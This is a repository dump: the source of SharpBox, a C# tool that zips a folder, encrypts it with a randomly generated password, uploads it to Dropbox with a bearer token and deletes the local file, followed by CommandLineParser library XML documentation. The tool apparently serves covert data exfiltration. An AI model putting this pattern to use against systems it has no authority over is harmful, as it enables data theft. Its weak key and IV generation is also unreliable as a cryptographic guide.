24 | //ops.dbxToken = ""; //Hardcode your dropbox token here if you do not wish to pass as an argument
25 |
26 |
27 | if (ops.path == null)
28 | {
29 | return;
30 | }
31 |
32 | if (ops.decrypt == true)
33 | {
34 | DecryptFile(ops);
35 | return;
36 | }
37 |
38 | // removed all cab compression functionality. zip only
39 |
40 | ZipFile zip = new ZipFile();
41 | try
42 | {
43 | Thread zipThread = new Thread(() =>
44 | {
45 | FileAttributes attr = File.GetAttributes(ops.path);
46 | if ((attr & FileAttributes.Directory) == FileAttributes.Directory)
47 | {
48 | string[] files = Directory.GetFiles(ops.path);
49 | foreach (string fileName in files)
50 | {
51 | zip.AddFile(fileName, "archive");
52 | zip.Save(ops.OutFile);
53 | }
54 | } else
55 | {
56 | zip.AddFile(ops.path, "archive");
57 | zip.Save(ops.OutFile);
58 | }
59 | });
60 | zipThread.Start();
61 | zipThread.Join();
62 |
63 | Console.WriteLine("[*] Attempting to encrypt zip file.");
64 | EncryptFile(ops, zip);
65 | }
66 | catch (Exception e)
67 | {
68 | Console.WriteLine(e.ToString());
69 | }
70 | }
71 | private static string GeneratePass()
72 | {
73 | const string space = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
74 | var builder = new StringBuilder();
75 | var random = new Random();
76 | for (var i = 0; i < 12; i++)
77 | {
78 | builder.Append(space[random.Next(space.Length)]);
79 | }
80 | return builder.ToString();
81 | }
82 |
83 | private static void EncryptFile(Options ops, ZipFile zip)
84 | {
85 | try
86 | {
87 | string outFile;
88 | string password = GeneratePass();
89 | Console.WriteLine($"[*] Generated Password: {password} \n[*] Use this Password for decryption process!");
90 | string initVector = $"HR$2pI{password.Substring(0, 5)}pIj12";
91 | byte[] key = Encoding.ASCII.GetBytes(password);
92 | byte[] IV = Encoding.ASCII.GetBytes(initVector);
93 | if (ops.OutFile.Contains(".zip"))
94 | {
95 | outFile = ops.OutFile.Replace(".zip", "");
96 | } else
97 | {
98 | if (ops.OutFile.Contains(".cab"))
99 | {
100 | outFile = ops.OutFile.Replace(".cab", "");
101 | } else
102 | {
103 | outFile = ops.OutFile;
104 | }
105 | }
106 |
107 | FileStream fsCrypt = new FileStream(outFile, FileMode.Create);
108 | RijndaelManaged RMCrypto = new RijndaelManaged();
109 | CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateEncryptor(key, IV), CryptoStreamMode.Write);
110 | FileStream fsIn = null;
111 | fsIn = new FileStream(ops.OutFile, FileMode.Open);
112 | int data;
113 | while ((data = fsIn.ReadByte()) != -1)
114 | cs.WriteByte((byte)data);
115 |
116 | cs.FlushFinalBlock();
117 | fsIn.Flush();
118 | fsIn.Close();
119 | cs.Close();
120 | fsCrypt.Close();
121 | File.Delete(ops.OutFile);
122 |
123 | }
124 | catch (Exception e)
125 | {
126 | Console.WriteLine("Encryption failed!", "Error " + e);
127 | }
128 | if (ops.dbxToken == null)
129 | {
130 |
131 | } else
132 | {
133 | FileUploadToDropbox(ops);
134 | }
135 | }
136 |
137 | private static void DecryptFile(Options ops)
138 | {
139 | Console.WriteLine("[*] Attempting to decrypt file!");
140 | string initVector = $"HR$2pI{ops.password.Substring(0, 5)}pIj12";
141 | byte[] IV = Encoding.ASCII.GetBytes(initVector);
142 | byte[] key = Encoding.ASCII.GetBytes(ops.password);
143 | FileStream fsCrypt = new FileStream(ops.path, FileMode.Open);
144 | RijndaelManaged RMCrypto = new RijndaelManaged();
145 | CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateDecryptor(key, IV), CryptoStreamMode.Read);
146 | FileStream fsOut = new FileStream(ops.OutFile, FileMode.Create);
147 |
148 | int data;
149 | while ((data = cs.ReadByte()) != -1)
150 | fsOut.WriteByte((byte)data);
151 |
152 | fsOut.Flush();
153 | fsOut.Close();
154 | cs.Close();
155 | fsCrypt.Close();
156 | Console.WriteLine("[*] Decrypted data successfully!");
157 | }
158 |
159 | public static void FileUploadToDropbox(Options ops)
160 | {
161 | try
162 | {
163 | string uri = @"https://content.dropboxapi.com/2/files/upload";
164 | Uri uri1 = new Uri(uri);
165 | WebClient myWebClient = new WebClient();
166 | myWebClient.Headers[HttpRequestHeader.ContentType] = "application/octet-stream";
167 | myWebClient.Headers[HttpRequestHeader.Authorization] = "Bearer " + ops.dbxToken;
168 | myWebClient.Headers.Add($"Dropbox-API-Arg: {{\"path\":\"{ops.dbxPath}/data\",\"mode\": \"add\",\"autorename\": true,\"mute\": false,\"strict_conflict\": false}}");
169 | var file = Path.Combine(ops.path, "data");
170 | byte[] buffer;
171 | using (var fileStream = new FileStream(file, FileMode.Open, FileAccess.Read))
172 | {
173 | int length = (int)fileStream.Length;
174 | buffer = new byte[length];
175 | fileStream.Read(buffer, 0, length);
176 | }
177 | byte[] request = myWebClient.UploadData(uri1, "POST", buffer);
178 | var Result = System.Text.Encoding.Default.GetString(request);
179 | Console.WriteLine(Result);
180 | //delete compressed/encrypted file after uploading
181 | File.Delete(file);
182 | return;
183 | }
184 | catch (Exception e)
185 | {
186 | Console.WriteLine(e.ToString());
187 | }
188 | }
189 |
190 | private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error)
191 | {
192 | if (error == System.Net.Security.SslPolicyErrors.None)
193 | {
194 | return true;
195 | }
196 | Console.WriteLine("X509Certificate [{0}] Policy Error: '{1}'",
197 | cert.Subject,
198 | error.ToString());
199 | return false;
200 | }
201 | }
202 |
203 | public class Options
204 | {
205 | public enum Methods
206 | {
207 | Zip,
208 | Cab
209 | }
210 |
211 | [Option('f', "path", Required = true, HelpText = "path to the file or folder you wish to compress the contents of")]
212 | public string path { get; set; }
213 |
214 | [Option('o', "OutFile", Required = false, HelpText = "Name of the compressed file")]
215 | public string OutFile { get; set; }
216 |
217 | [Option('t', "dbxToken", Required = false, HelpText = "Dropbox Access Token")]
218 | public string dbxToken { get; set; }
219 |
220 | [Option('x', "dbxPath", Required = false, DefaultValue = "/test/data", HelpText = "path to dbx folder")]
221 | public string dbxPath { get; set; }
222 |
223 | [Option('d', "decrypt", Required = false, DefaultValue = false, HelpText = "Choose this to decrypt a zip file previously encrypted by this tool. Requires original password argument.")]
224 | public bool decrypt { get; set; }
225 |
226 | [Option('p', "decryption-password", Required = false, HelpText = "Password to decrypt a zipped file.")]
227 | public string password { get; set; }
228 |
229 | [HelpOption]
230 | public string GetUsage()
231 | {
232 | {
233 | var text = @"SharpBox 1.1.0
234 | Copyright c 2021 Pickles
235 | Usage: SharpBox
236 |
237 | -f, --path Required. Full path to the file or folder you wish to
238 | compress the contents of
239 |
240 | -o, --OutFile Name of the compressed file
241 |
242 | -t, --dbxToken Dropbox Access Token
243 |
244 | -x, --dbxPath (Default: /test/data) path to dbx folder
245 |
246 | -d, --decrypt (Default: False) Choose this to decrypt a zip file previously encrypted by this tool.
247 | Requires original password argument.
248 |
249 | -p, --decryption-password Password to decrypt a zipped file.
250 |
251 | --help Display this help screen."
252 | ;
253 |
254 |
255 | return text;
256 | }
257 | }
258 | }
259 | }
260 |
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CommandLine
5 |
6 |
7 |
8 |
9 | Provides base properties for creating an attribute, used to define rules for command line parsing.
10 |
11 |
12 |
13 |
14 | Initializes a new instance of the class.
15 |
16 |
17 |
18 |
19 | Initializes a new instance of the class.
20 | Validating and .
21 |
22 | Short name of the option.
23 | Long name of the option.
24 |
25 |
26 |
27 | Initializes a new instance of the class. Validating
28 | and . This constructor accepts a as short name.
29 |
30 | Short name of the option.
31 | Long name of the option.
32 |
33 |
34 |
35 | Gets a short name of this command line option. You can use only one character.
36 |
37 |
38 |
39 |
40 | Gets long name of this command line option. This name is usually a single english word.
41 |
42 |
43 |
44 |
45 | Gets or sets the option's mutually exclusive set.
46 |
47 |
48 |
49 |
50 | Gets or sets a value indicating whether a command line option is required.
51 |
52 |
53 |
54 |
55 | Gets or sets mapped property default value.
56 |
57 |
58 |
59 |
60 | Gets or sets mapped property meta value.
61 |
62 |
63 |
64 |
65 | Gets or sets a short description of this command line option. Usually a sentence summary.
66 |
67 |
68 |
69 |
70 | Models an option specification.
71 |
72 |
73 |
74 |
75 | Initializes a new instance of the class.
76 | The default long name will be inferred from target property.
77 |
78 |
79 |
80 |
81 | Initializes a new instance of the class.
82 |
83 | The short name of the option..
84 |
85 |
86 |
87 | Initializes a new instance of the class.
88 |
89 | The long name of the option.
90 |
91 |
92 |
93 | Initializes a new instance of the class.
94 |
95 | The short name of the option.
96 | The long name of the option or null if not used.
97 |
98 |
99 |
100 | Helper factory method for testing purpose.
101 |
102 | An instance.
103 |
104 |
105 |
106 | Models an option that can accept multiple values as separated arguments.
107 |
108 |
109 |
110 |
111 | Initializes a new instance of the class.
112 | The default long name will be inferred from target property.
113 |
114 |
115 |
116 |
117 | Initializes a new instance of the class.
118 |
119 | The short name of the option.
120 |
121 |
122 |
123 | Initializes a new instance of the class.
124 |
125 | The long name of the option.
126 |
127 |
128 |
129 | Initializes a new instance of the class.
130 |
131 | The short name of the option.
132 | The long name of the option or null if not used.
133 |
134 |
135 |
136 | Indicates the instance method that must be invoked when it becomes necessary show your help screen.
137 | The method signature is an instance method with no parameters and
138 | return value.
139 |
140 |
141 |
142 |
143 | Initializes a new instance of the class.
144 | Although it is possible, it is strongly discouraged redefine the long name for this option
145 | not to disorient your users. It is also recommended not to define a short one.
146 |
147 |
148 |
149 |
150 | Initializes a new instance of the class
151 | with the specified short name. Use parameter less constructor instead.
152 |
153 | The short name of the option.
154 |
155 | It's highly not recommended change the way users invoke help. It may create confusion.
156 |
157 |
158 |
159 |
160 | Initializes a new instance of the class
161 | with the specified long name. Use parameter less constructor instead.
162 |
163 | The long name of the option or null if not used.
164 |
165 | It's highly not recommended change the way users invoke help. It may create confusion.
166 |
167 |
168 |
169 |
170 | Initializes a new instance of the class.
171 | Allows you to define short and long option names.
172 |
173 | The short name of the option.
174 | The long name of the option or null if not used.
175 |
176 | It's highly not recommended change the way users invoke help. It may create confusion.
177 |
178 |
179 |
180 |
181 | Returns always false for this kind of option.
182 | This behaviour can't be changed by design; if you try set
183 | an will be thrown.
184 |
185 |
186 |
187 |
188 | Models an option that can accept multiple values.
189 | Must be applied to a field compatible with an interface
190 | of instances.
191 |
192 |
193 |
194 |
195 | Initializes a new instance of the class.
196 | The default long name will be inferred from target property.
197 |
198 |
199 |
200 |
201 | Initializes a new instance of the class.
202 |
203 | The short name of the option.
204 |
205 |
206 |
207 | Initializes a new instance of the class.
208 |
209 | The long name of the option or null if not used.
210 |
211 |
212 |
213 | Initializes a new instance of the class.
214 |
215 | The short name of the option.
216 | The long name of the option or null if not used.
217 |
218 |
219 |
220 | Initializes a new instance of the class.
221 |
222 | The short name of the option or null if not used.
223 | The long name of the option or null if not used.
224 | Values separator character.
225 |
226 |
227 |
228 | Gets or sets the values separator character.
229 |
230 |
231 |
232 |
233 | Indicates that the property can receive an instance of type .
234 |
235 |
236 |
237 |
238 | Models a list of command line arguments that are not options.
239 | Must be applied to a field compatible with an interface
240 | of instances.
241 |
242 | To map individual values use instead .
243 |
244 |
245 |
246 | Initializes a new instance of the class.
247 |
248 | A type that implements .
249 | Thrown if is null.
250 |
251 |
252 |
253 | Gets or sets the maximum element allow for the list managed by type.
254 | If lesser than 0, no upper bound is fixed.
255 | If equal to 0, no elements are allowed.
256 |
257 |
258 |
259 |
260 | Gets the concrete type specified during initialization.
261 |
262 |
263 |
264 |
265 | Maps a single unnamed option to the target property. Values will be mapped in order of Index.
266 | This attribute takes precedence over with which
267 | can coexist.
268 |
269 | It can handle only scalar values. Do not apply to arrays or lists.
270 |
271 |
272 |
273 | Initializes a new instance of the class.
274 |
275 | The _index of the option.
276 |
277 |
278 |
279 | Gets the position this option has on the command line.
280 |
281 |
282 |
283 |
284 | Utility extension methods for System.Char.
285 |
286 |
287 |
288 |
289 | Encapsulates property writing primitives.
290 |
291 |
292 |
293 |
294 | Utility extension methods for System.String.
295 |
296 |
297 |
298 |
299 | Gets or sets the assembly from which to pull information. Setter provided for testing purpose.
300 |
301 |
302 |
303 |
304 | Utility extension methods for query target capabilities.
305 |
306 |
307 |
308 |
309 | Maps unnamed options to property using and .
310 |
311 |
312 |
313 |
314 | Helper method for testing purpose.
315 |
316 | An argument enumerator instance.
317 | The next input value.
318 |
319 |
320 |
321 | Initializes a new instance of the class. Used for unit testing purpose.
322 |
323 | Option short name.
324 | Option long name.
325 |
326 |
327 |
328 | Initializes a new instance of the class.
329 | It is internal rather than private for unit testing purpose.
330 |
331 | Initial internal capacity.
332 | Parser settings instance.
333 |
334 |
335 |
336 | Provides means to format an help screen.
337 | You can assign it in place of a instance.
338 |
339 |
340 |
341 |
342 | Initializes a new instance of the class.
343 |
344 |
345 |
346 |
347 | Initializes a new instance of the class
348 | specifying the sentence builder.
349 |
350 |
351 | A instance.
352 |
353 |
354 |
355 |
356 | Initializes a new instance of the class
357 | specifying heading string.
358 |
359 | An heading string or an instance of .
360 | Thrown when parameter is null or empty string.
361 |
362 |
363 |
364 | Initializes a new instance of the class
365 | specifying the sentence builder and heading string.
366 |
367 | A instance.
368 | A string with heading or an instance of .
369 |
370 |
371 |
372 | Initializes a new instance of the class
373 | specifying heading and copyright strings.
374 |
375 | A string with heading or an instance of .
376 | A string with copyright or an instance of .
377 | Thrown when one or more parameters are null or empty strings.
378 |
379 |
380 |
381 | Initializes a new instance of the class
382 | specifying heading and copyright strings.
383 |
384 | A instance.
385 | A string with heading or an instance of .
386 | A string with copyright or an instance of .
387 | Thrown when one or more parameters are null or empty strings.
388 |
389 |
390 |
391 | Initializes a new instance of the class
392 | specifying heading and copyright strings.
393 |
394 | A string with heading or an instance of .
395 | A string with copyright or an instance of .
396 | The instance that collected command line arguments parsed with class.
397 | Thrown when one or more parameters are null or empty strings.
398 |
399 |
400 |
401 | Initializes a new instance of the class
402 | specifying heading and copyright strings.
403 |
404 | A instance.
405 | A string with heading or an instance of .
406 | A string with copyright or an instance of .
407 | The instance that collected command line arguments parsed with class.
408 | Thrown when one or more parameters are null or empty strings.
409 |
410 |
411 |
412 | Creates a new instance of the class using common defaults.
413 |
414 |
415 | An instance of class.
416 |
417 | The instance that collected command line arguments parsed with class.
418 |
419 |
420 |
421 | Creates a new instance of the class using common defaults.
422 |
423 |
424 | An instance of class.
425 |
426 | The instance that collected command line arguments parsed with class.
427 | A delegate used to customize the text block for reporting parsing errors.
428 | If true the output style is consistent with verb commands (no dashes), otherwise it outputs options.
429 |
430 |
431 |
432 | Creates a new instance of the class using common defaults,
433 | for verb commands scenario.
434 |
435 |
436 | An instance of class.
437 |
438 | The instance that collected command line arguments parsed with class.
439 | The verb command invoked.
440 |
441 |
442 |
443 | Supplies a default parsing error handler implementation.
444 |
445 | The instance that collects parsed arguments parsed and associates
446 | to a property of type .
447 | The instance.
448 |
449 |
450 |
451 | Converts the help instance to a .
452 |
453 | This instance.
454 | The that contains the help screen.
455 |
456 |
457 |
458 | Adds a text line after copyright and before options usage strings.
459 |
460 | A instance.
461 | Thrown when parameter is null or empty string.
462 |
463 |
464 |
465 | Adds a text line at the bottom, after options usage string.
466 |
467 | A instance.
468 | Thrown when parameter is null or empty string.
469 |
470 |
471 |
472 | Adds a text block with options usage string.
473 |
474 | The instance that collected command line arguments parsed with class.
475 | Thrown when parameter is null.
476 |
477 |
478 |
479 | Adds a text block with options usage string.
480 |
481 | The instance that collected command line arguments parsed with the class.
482 | The word to use when the option is required.
483 | Thrown when parameter is null.
484 | Thrown when parameter is null or empty string.
485 |
486 |
487 |
488 | Adds a text block with options usage string.
489 |
490 | The instance that collected command line arguments parsed with the class.
491 | The word to use when the option is required.
492 | The maximum length of the help documentation.
493 | Thrown when parameter is null.
494 | Thrown when parameter is null or empty string.
495 |
496 |
497 |
498 | Builds a string that contains a parsing error message.
499 |
500 | An options target instance that collects parsed arguments parsed with the
501 | associated to a property of type .
502 | Number of spaces used to indent text.
503 | The that contains the parsing error message.
504 |
505 |
506 |
507 | Returns the help screen as a .
508 |
509 | The that contains the help screen.
510 |
511 |
512 |
513 | The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate.
514 | This is the preferred technique for handling the event in a derived class.
515 |
516 | Data for the event.
517 |
518 |
519 |
520 | Occurs when an option help text is formatted.
521 |
522 |
523 |
524 |
525 | Gets or sets the heading string.
526 | You can directly assign a instance.
527 |
528 |
529 |
530 |
531 | Gets or sets the copyright string.
532 | You can directly assign a instance.
533 |
534 |
535 |
536 |
537 | Gets or sets the maximum width of the display. This determines word wrap when displaying the text.
538 |
539 | The maximum width of the display.
540 |
541 |
542 |
543 | Gets or sets a value indicating whether the format of options should contain dashes.
544 | It modifies behavior of method.
545 |
546 |
547 |
548 |
549 | Gets or sets a value indicating whether to add an additional line after the description of the option.
550 |
551 |
552 |
553 |
554 | Gets the instance specified in constructor.
555 |
556 |
557 |
558 |
559 | Models an abstract sentence builder.
560 |
561 |
562 |
563 |
564 | Creates the built in sentence builder.
565 |
566 | The built in sentence builder.
567 |
568 |
569 |
570 | Gets a string containing word 'option'.
571 |
572 | The word 'option'.
573 |
574 |
575 |
576 | Gets a string containing the word 'and'.
577 |
578 | The word 'and'.
579 |
580 |
581 |
582 | Gets a string containing the sentence 'required option missing'.
583 |
584 | The sentence 'required option missing'.
585 |
586 |
587 |
588 | Gets a string containing the sentence 'violates format'.
589 |
590 | The sentence 'violates format'.
591 |
592 |
593 |
594 | Gets a string containing the sentence 'violates mutual exclusiveness'.
595 |
596 | The sentence 'violates mutual exclusiveness'.
597 |
598 |
599 |
600 | Gets a string containing the error heading text.
601 |
602 | The error heading text.
603 |
604 |
605 |
606 | Models an english sentence builder, currently the default one.
607 |
608 |
609 |
610 |
611 | Gets a string containing word 'option' in english.
612 |
613 | The word 'option' in english.
614 |
615 |
616 |
617 | Gets a string containing the word 'and' in english.
618 |
619 | The word 'and' in english.
620 |
621 |
622 |
623 | Gets a string containing the sentence 'required option missing' in english.
624 |
625 | The sentence 'required option missing' in english.
626 |
627 |
628 |
629 | Gets a string containing the sentence 'violates format' in english.
630 |
631 | The sentence 'violates format' in english.
632 |
633 |
634 |
635 | Gets a string containing the sentence 'violates mutual exclusiveness' in english.
636 |
637 | The sentence 'violates mutual exclusiveness' in english.
638 |
639 |
640 |
641 | Gets a string containing the error heading text in english.
642 |
643 | The error heading text in english.
644 |
645 |
646 |
647 | Models the copyright part of an help text.
648 | You can assign it where you assign any instance.
649 |
650 |
651 |
652 |
653 | Initializes a new instance of the class
654 | specifying author and year.
655 |
656 | The company or person holding the copyright.
657 | The year of coverage of copyright.
658 | Thrown when parameter is null or empty string.
659 |
660 |
661 |
662 | Initializes a new instance of the class
663 | specifying author and copyrightYears.
664 |
665 | The company or person holding the copyright.
666 | The copyrightYears of coverage of copyright.
667 | Thrown when parameter is null or empty string.
668 | Thrown when parameter is not supplied.
669 |
670 |
671 |
672 | Initializes a new instance of the class
673 | specifying symbol case, author and copyrightYears.
674 |
675 | The case of the copyright symbol.
676 | The company or person holding the copyright.
677 | The copyrightYears of coverage of copyright.
678 | Thrown when parameter is null or empty string.
679 | Thrown when parameter is not supplied.
680 |
681 |
682 |
683 | Initializes a new instance of the class.
684 |
685 |
686 |
687 |
688 | Initializes a new instance of the class
689 | with an assembly attribute, this overrides all formatting.
690 |
691 | The attribute which text to use.
692 |
693 |
694 |
695 | Converts the copyright instance to a .
696 |
697 | This instance.
698 | The that contains the copyright.
699 |
700 |
701 |
702 | Returns the copyright as a .
703 |
704 | The that contains the copyright.
705 |
706 |
707 |
708 | When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears
709 | as a instance.
710 |
711 | A array of copyrightYears.
712 | A instance with copyright copyrightYears.
713 |
714 |
715 |
716 | Gets the default copyright information.
717 | Retrieved from , if it exists,
718 | otherwise it uses as copyright holder with the current year.
719 | If neither exists it throws an .
720 |
721 |
722 |
723 |
724 | Gets a different copyright word when overridden in a derived class.
725 |
726 |
727 |
728 |
729 | Models the heading part of an help text.
730 | You can assign it where you assign any instance.
731 |
732 |
733 |
734 |
735 | Initializes a new instance of the class
736 | specifying program name.
737 |
738 | The name of the program.
739 | Thrown when parameter is null or empty string.
740 |
741 |
742 |
743 | Initializes a new instance of the class
744 | specifying program name and version.
745 |
746 | The name of the program.
747 | The version of the program.
748 | Thrown when parameter is null or empty string.
749 |
750 |
751 |
752 | Converts the heading to a .
753 |
754 | This instance.
755 | The that contains the heading.
756 |
757 |
758 |
759 | Returns the heading as a .
760 |
761 | The that contains the heading.
762 |
763 |
764 |
765 | Writes out a string and a new line using the program name specified in the constructor
766 | and parameter.
767 |
768 | The message to write.
769 | The target derived type.
770 | Thrown when parameter is null or empty string.
771 | Thrown when parameter is null.
772 |
773 |
774 |
775 | Writes out a string and a new line using the program name specified in the constructor
776 | and parameter to standard output stream.
777 |
778 | The message to write.
779 | Thrown when parameter is null or empty string.
780 |
781 |
782 |
783 | Writes out a string and a new line using the program name specified in the constructor
784 | and parameter to standard error stream.
785 |
786 | The message to write.
787 | Thrown when parameter is null or empty string.
788 |
789 |
790 |
791 | Gets the default heading instance.
792 | The title is retrieved from ,
793 | or the assembly short name if its not defined.
794 | The version is retrieved from ,
795 | or the assembly version if its not defined.
796 |
797 |
798 |
799 |
800 | Provides base properties for creating an attribute, used to define multiple lines of text.
801 |
802 |
803 |
804 |
805 | Initializes a new instance of the class. Used in derived type
806 | using one line of text.
807 |
808 | The first line of text.
809 |
810 |
811 |
812 | Initializes a new instance of the class. Used in type
813 | using two lines of text.
814 |
815 | The first line of text.
816 | The second line of text.
817 |
818 |
819 |
820 | Initializes a new instance of the class. Used in type
821 | using three lines of text.
822 |
823 | The first line of text.
824 | The second line of text.
825 | The third line of text.
826 |
827 |
828 |
829 | Initializes a new instance of the class. Used in type
830 | using four lines of text.
831 |
832 | The first line of text.
833 | The second line of text.
834 | The third line of text.
835 | The fourth line of text.
836 |
837 |
838 |
839 | Initializes a new instance of the class. Used in type
840 | using five lines of text.
841 |
842 | The first line of text.
843 | The second line of text.
844 | The third line of text.
845 | The fourth line of text.
846 | The fifth line of text.
847 |
848 |
849 |
850 | Returns the last line with text. Preserves blank lines if user intended by skipping a line.
851 |
852 | The last index of line of the non-blank line.
853 |
854 | The string array to process.
855 |
856 |
857 |
858 | Gets the all non-blank lines as string.
859 |
860 | A string of all non-blank lines.
861 |
862 |
863 |
864 | Gets the first line of text.
865 |
866 |
867 |
868 |
869 | Gets the second line of text.
870 |
871 |
872 |
873 |
874 | Gets third line of text.
875 |
876 |
877 |
878 |
879 | Gets the fourth line of text.
880 |
881 |
882 |
883 |
884 | Gets the fifth line of text.
885 |
886 |
887 |
888 |
889 | Models a multiline assembly license text.
890 |
891 |
892 |
893 |
894 | Initializes a new instance of the class
895 | with one line of text.
896 |
897 | First line of license text.
898 |
899 |
900 |
901 | Initializes a new instance of the class
902 | with two lines of text.
903 |
904 | First line of license text.
905 | Second line of license text.
906 |
907 |
908 |
909 | Initializes a new instance of the class
910 | with three lines of text.
911 |
912 | First line of license text.
913 | Second line of license text.
914 | Third line of license text.
915 |
916 |
917 |
918 | Initializes a new instance of the class
919 | with four lines of text.
920 |
921 | First line of license text.
922 | Second line of license text.
923 | Third line of license text.
924 | Fourth line of license text.
925 |
926 |
927 |
928 | Initializes a new instance of the class
929 | with five lines of text.
930 |
931 | First line of license text.
932 | Second line of license text.
933 | Third line of license text.
934 | Fourth line of license text.
935 | Fifth line of license text.
936 |
937 |
938 |
939 | Models a multiline assembly usage text.
940 |
941 |
942 |
943 |
944 | Initializes a new instance of the class
945 | with one line of text.
946 |
947 | First line of usage text.
948 |
949 |
950 |
951 | Initializes a new instance of the class
952 | with two lines of text.
953 |
954 | First line of usage text.
955 | Second line of usage text.
956 |
957 |
958 |
959 | Initializes a new instance of the class
960 | with three lines of text.
961 |
962 | First line of usage text.
963 | Second line of usage text.
964 | Third line of usage text.
965 |
966 |
967 |
968 | Initializes a new instance of the class
969 | with four lines of text.
970 |
971 | First line of usage text.
972 | Second line of usage text.
973 | Third line of usage text.
974 | Fourth line of usage text.
975 |
976 |
977 |
978 | Initializes a new instance of the class
979 | with five lines of text.
980 |
981 | First line of usage text.
982 | Second line of usage text.
983 | Third line of usage text.
984 | Fourth line of usage text.
985 | Fifth line of usage text.
986 |
987 |
988 |
989 | Provides data for the FormatOptionHelpText event.
990 |
991 |
992 |
993 |
994 | Initializes a new instance of the class.
995 |
996 | Option to format.
997 |
998 |
999 |
1000 | Gets the option to format.
1001 |
1002 |
1003 |
1004 |
1005 | Indicates the instance method that must be invoked when it becomes necessary show your help screen.
1006 | The method signature is an instance method with that accepts and returns a .
1007 |
1008 |
1009 |
1010 |
1011 | Initializes a new instance of the class.
1012 | Although it is possible, it is strongly discouraged redefine the long name for this option
1013 | not to disorient your users.
1014 |
1015 |
1016 |
1017 |
1018 | Initializes a new instance of the class
1019 | with the specified long name. Use parameter less constructor instead.
1020 |
1021 | Help verb option alternative name.
1022 |
1023 | It's highly not recommended change the way users invoke help. It may create confusion.
1024 |
1025 |
1026 |
1027 |
1028 | Help verb command do not support short name by design.
1029 |
1030 |
1031 |
1032 |
1033 | Help verb command like ordinary help option cannot be mandatory by design.
1034 |
1035 |
1036 |
1037 |
1038 | Models a verb command specification.
1039 |
1040 |
1041 |
1042 |
1043 | Initializes a new instance of the class.
1044 |
1045 | The long name of the verb command.
1046 |
1047 |
1048 |
1049 | Verb commands do not support short name by design.
1050 |
1051 |
1052 |
1053 |
1054 | Verb commands cannot be mandatory since are mutually exclusive by design.
1055 |
1056 |
1057 |
1058 |
1059 | Models a bad parsed option.
1060 |
1061 |
1062 |
1063 |
1064 | Gets the short name of the option.
1065 |
1066 | Returns the short name of the option.
1067 |
1068 |
1069 |
1070 | Gets the long name of the option.
1071 |
1072 | Returns the long name of the option.
1073 |
1074 |
1075 |
1076 | Provides methods to parse command line arguments.
1077 |
1078 |
1079 |
1080 |
1081 | Default exit code (1) used by
1082 | and overloads.
1083 |
1084 |
1085 |
1086 |
1087 | Initializes a new instance of the class.
1088 |
1089 |
1090 |
1091 |
1092 | Initializes a new instance of the class,
1093 | configurable with a object.
1094 |
1095 | The object is used to configure
1096 | aspects and behaviors of the parser.
1097 |
1098 |
1099 |
1100 | Initializes a new instance of the class,
1101 | configurable with using a delegate.
1102 |
1103 | The delegate used to configure
1104 | aspects and behaviors of the parser.
1105 |
1106 |
1107 |
1108 | Finalizes an instance of the class.
1109 |
1110 |
1111 |
1112 |
1113 | Parses a array of command line arguments, setting values in
1114 | parameter instance's public fields decorated with appropriate attributes.
1115 |
1116 | A array of command line arguments.
1117 | An instance used to receive values.
1118 | Parsing rules are defined using derived types.
1119 | True if parsing process succeed.
1120 | Thrown if is null.
1121 | Thrown if is null.
1122 |
1123 |
1124 |
1125 | Parses a array of command line arguments with verb commands, setting values in
1126 | parameter instance's public fields decorated with appropriate attributes.
1127 | This overload supports verb commands.
1128 |
1129 | A array of command line arguments.
1130 | An instance used to receive values.
1131 | Parsing rules are defined using derived types.
1132 | Delegate executed to capture verb command name and instance.
1133 | True if parsing process succeed.
1134 | Thrown if is null.
1135 | Thrown if is null.
1136 | Thrown if is null.
1137 |
1138 |
1139 |
1140 | Parses a array of command line arguments, setting values in
1141 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
1142 | the delegate, if null exits with .
1143 |
1144 | A array of command line arguments.
1145 | An object's instance used to receive values.
1146 | Parsing rules are defined using derived types.
1147 | The delegate executed when parsing fails.
1148 | True if parsing process succeed.
1149 | Thrown if is null.
1150 | Thrown if is null.
1151 |
1152 |
1153 |
1154 | Parses a array of command line arguments with verb commands, setting values in
1155 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
1156 | the delegate, if null exits with .
1157 | This overload supports verb commands.
1158 |
1159 | A array of command line arguments.
1160 | An instance used to receive values.
1161 | Parsing rules are defined using derived types.
1162 | Delegate executed to capture verb command name and instance.
1163 | The delegate executed when parsing fails.
1164 | True if parsing process succeed.
1165 | Thrown if is null.
1166 | Thrown if is null.
1167 | Thrown if is null.
1168 |
1169 |
1170 |
1171 | Frees resources owned by the instance.
1172 |
1173 |
1174 |
1175 |
1176 | Gets the singleton instance created with basic defaults.
1177 |
1178 |
1179 |
1180 |
1181 | Gets the instance that implements in use.
1182 |
1183 |
1184 |
1185 |
1186 | This exception is thrown when a generic parsing error occurs.
1187 |
1188 |
1189 |
1190 |
1191 | Initializes a new instance of the class. The exception is thrown
1192 | when something unexpected occurs during the parsing process.
1193 |
1194 |
1195 |
1196 |
1197 | Initializes a new instance of the class. The exception is thrown
1198 | when something unexpected occurs during the parsing process.
1199 |
1200 | Error message string.
1201 |
1202 |
1203 |
1204 | Initializes a new instance of the class. The exception is thrown
1205 | when something unexpected occurs during the parsing process.
1206 |
1207 | Error message string.
1208 | Inner exception reference.
1209 |
1210 |
1211 |
1212 | Initializes a new instance of the class. The exception is thrown
1213 | when something unexpected occurs during the parsing process.
1214 |
1215 | The object that holds the serialized object data.
1216 | The contextual information about the source or destination.
1217 |
1218 |
1219 |
1220 | Provides settings for . Once consumed cannot be reused.
1221 |
1222 |
1223 |
1224 |
1225 | Initializes a new instance of the class.
1226 |
1227 |
1228 |
1229 |
1230 | Initializes a new instance of the class,
1231 | setting the case comparison behavior.
1232 |
1233 | If set to true, parsing will be case sensitive.
1234 |
1235 |
1236 |
1237 | Initializes a new instance of the class,
1238 | setting the used for help method output.
1239 |
1240 | Any instance derived from ,
1241 | default . Setting this argument to null, will disable help screen.
1242 |
1243 |
1244 |
1245 | Initializes a new instance of the class,
